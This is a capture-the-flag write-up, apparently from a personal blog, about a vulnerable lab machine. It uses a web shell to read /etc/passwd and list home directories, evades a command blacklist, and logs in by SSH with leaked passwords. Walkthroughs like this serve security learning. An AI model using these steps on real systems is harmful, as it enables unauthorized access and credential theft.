Let's take a closer look at that robots.txt 

root@kali:~# curl http://$TANGO/robots.txt
User-agent: *
Disallow: /login.php
Disallow: /dev_shell.php
Disallow: /lat_memo.html
Disallow: /passwords.html

dev_shell.php sounds very promising. Dive dive dive!

Exploitation

After good 30 mins of poking it appeared there is some sort of blaklist - commands like ls, pwd, cat, nc are being blocked. Nothing we can't work around though - all we had to do is to replace ls with find, echo, dir, and cat with strings (see Exploiting web shells - working your way around blacklisted commands for more sweet workarounds).

Let's see what we have! 

root@blaksec:~# curl -s -d "in_command=strings /etc/passwd" -X POST http://$TANGO/dev_shell.php
...
c0rruptedb1t:x:1000:1000:c0rruptedb1t,,,:/home/c0rruptedb1t:/bin/bash
bob:x:1001:1001:Bob,,,,Not the smartest person:/home/bob:/bin/bash
jc:x:1002:1002:James C,,,:/home/jc:/bin/bash
seb:x:1003:1003:Sebastian W,,,:/home/seb:/bin/bash
elliot:x:1004:1004:Elliot A,,,:/home/elliot:/bin/bash
sshd:x:116:65534::/run/sshd:/usr/sbin/nologin
proftpd:x:117:65534::/run/proftpd:/bin/false
ftp:x:118:65534::/srv/ftp:/bin/false
...

Looks like a few regular users on this host. Check them out 

curl -s -d "in_command=find /home" -X POST http://$TANGO/dev_shell.php -o files_home.txt

Bunch of goodies turned up! For the most notable ones: 

/home/seb/proftpd-1.3.3c
/home/bob/.old_passwordfile.html
/home/bob/Documents/Secret
/home/bob/Documents/Secret/Keep_Out
/home/bob/Documents/Secret/Keep_Out/Not_Porn
/home/bob/Documents/Secret/Keep_Out/Not_Porn/No_Lookie_In_Here
/home/bob/Documents/Secret/Keep_Out/Not_Porn/No_Lookie_In_Here/notes.sh
/home/bob/Documents/Secret/Keep_Out/Porn
/home/bob/Documents/Secret/Keep_Out/Porn/no_porn_4_u
/home/bob/Documents/staff.txt
/home/bob/Documents/login.txt.gpg
/home/bob/Downloads/Wheel_Of_Fortune.py
/home/bob/Downloads/Hello_Again.py
/home/elliot/theadminisdumb.txt

Quick look through the files... few quite interesting entries! The last one was fun to read - elliot b*ches and moans about admin bragging about his new password.. wait.. yei! we have a password! 

root@blaksec:~# curl -s -d "in_command=strings /home/elliot/theadminisdumb.txt" -X POST http://$TANGO/dev_shell.php
...
theadminisdumb
...

Aaaaaand we're in!!! 

# ssh elliot@$TANGO -p 25468

elliot@192.168.56.101's password: 
Linux Milburg-High 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3+deb9u1 (2017-12-23) x86_64

elliot@Milburg-High:~$

Poking around /home(s)... seb does not seem to have anything interesting and neither does jc. bob, however, is worth exploring! 

elliot@Milburg-High:/home/bob$ cat .old_passwordfile.html 
hey n there .old_passwordfile.html
elliot@Milburg-High:/home/bob$ alias
alias cat='echo hey \n there'

*** rolling my eyes ***

elliot@Milburg-High:/home/bob$ strings .old_passwordfile.html 
<html>
jc:Qwerty
seb:T1tanium_Pa$$word_Hack3rs_Fear_M3
</p>
</html>

su'd to each of these users just to see if any interesting sudo roles but nothing fun there so back to bob! 

elliot@Milburg-High:/home/bob/Documents$ file login.txt.gpg
file login.txt.gpg
login.txt.gpg: GPG symmetrically encrypted data (AES cipher)

Spent good hour poking around trying to find the right pass and then found this file. Well actually I found it earlier and opened it prob 5-6 times.. and then stared at it.. and then squinted.. and it's only when I executed that notes.sh script it hit me! 

elliot@Milburg-High:/home/bob$ ./Documents/Secret/Keep_Out/Not_Porn/No_Lookie_In_Here/notes.sh 
-= Notes =-
Harry Potter is my faviorite
Are you the real me?
Right, I'm ordering pizza this is going nowhere
People just don't get me
Ohhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh <sea santy here>
Cucumber
Rest now your eyes are sleepy
Are you gonna stop reading this yet?
Time to fix the server
Everyone is annoying
Sticky notes gotta buy em
